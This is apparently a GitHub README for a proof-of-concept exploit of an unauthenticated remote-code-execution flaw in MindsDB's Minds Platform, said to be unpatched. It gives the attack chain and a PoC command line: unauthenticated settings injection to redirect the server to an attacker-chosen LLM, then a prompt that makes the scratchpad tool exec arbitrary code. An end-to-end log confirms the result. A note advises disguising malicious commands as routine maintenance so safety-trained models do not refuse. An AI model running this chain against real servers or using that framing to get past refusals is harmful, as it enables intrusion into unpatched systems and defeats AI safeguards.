boreas37/cve-2026-73678-pocCVE-2026-73678 — MindsDB Minds Platform unauthenticated RCE via scratchpad exec (CVSS 10.0). Verified end-to-end with real LLM
CVSS 10.0 (Critical) · CWE-94 / CWE-306 · GHSA-jcxw-h8ph-pxpv · VulnCheck
Minds Platform (the open-source backend of mindsdb/mindshub, previously
mindsdb/minds-platform) exposes POST /api/v1/responses/ (an
OpenAI-compatible Responses API, port 26866) with no authentication at
all. There is no auth middleware — no Bearer check, no session, nothing.
The server only installs a permissive CORS middleware
(allow_origins=["*"], allow_credentials=True).
An unauthenticated attacker can therefore:
Inject their own LLM configuration via PUT /api/v1/settings/{key}
(, , ,
, ) — no token required, all requests return 200.
openai_api_keyopenai_base_urlplanning_providercoding_provider*_modelSend a crafted prompt to POST /api/v1/responses/ →
ResponsesHandler.handle() → Anton ChatSession.turn_stream(input).
The (attacker-controlled) LLM returns a function call for the built-in
scratchpad tool (action: "exec"). handle_scratchpad →
prepare_scratchpad_exec → ScratchpadManager → LocalScratchpadRuntime
→ scratchpad_boot.py:
compiled = compile(code, "<scratchpad>", "exec")
exec(compiled, namespace) # arbitrary Python → arbitrary OS commands
Because the LLM endpoint is attacker-chosen (BYOK), the attacker can make the model return any scratchpad code — no model cooperation or coercion is required. The only precondition is a working OpenAI-compatible LLM API key.
Affected: ≤ v26.1.0 (vulnerable code added 2026-06-08, "Fresh #12461").
Patched: NONE — GHSA lists no patched version; the exec() remains in
main (only an optional, off-by-default COWORK_REQUIRE_AUTH Bearer
middleware and org-mode scope checks exist).
python3 poc_cve-2026-73678.py \
--target http://TARGET:26866 \
--api-key sk-YOUR_OWN_KEY \
--base-url https://api.openai.com/v1 \
--model gpt-4o
The PoC:
PUT /api/v1/settings/*uname -a +
hostname via scratchpad exec)cat /tmp/system_info.txt on the hostPrompt-engineering note: models with strong safety training may refuse obviously malicious commands (e.g. filenames containing "pwn"). Frame the request as routine maintenance (system diagnostics, health check) — the scratchpad executes whatever code the model supplies.
Real end-to-end chain against cowork-server==0.26.6.26.1 with a real LLM
provider (OpenCode Zen, minimax-m3):
== [1] AUTH-FREE SETTINGS INJECTION ==
PUT /api/v1/settings/openai_api_key: HTTP 200
PUT /api/v1/settings/openai_base_url: HTTP 200
PUT /api/v1/settings/planning_provider: HTTP 200
PUT /api/v1/settings/coding_provider: HTTP 200
PUT /api/v1/settings/planning_model: HTTP 200
PUT /api/v1/settings/coding_model: HTTP 200
== [2] CRAFTED PROMPT -> POST /api/v1/responses/ ==
HTTP 200 (15.6s) — LLM called the scratchpad tool
== [3] COMMAND EXECUTION CONFIRMED ==
/tmp/system_info.txt inside the container:
Linux 95d5d7fa74f6 6.12.75+rpt-rpi-2712 ... aarch64 GNU/Linux
95d5d7fa74f6
No token was sent at any point. The uname -a output was produced inside the
target container by the scratchpad exec — arbitrary OS command execution
as an unauthenticated remote attacker.
GET /api/v1/settings/reveal-key/{name}
leaks configured secrets; POST /api/v1/settings/raw writes
~/.anton/.env.mindsdb/mindshub)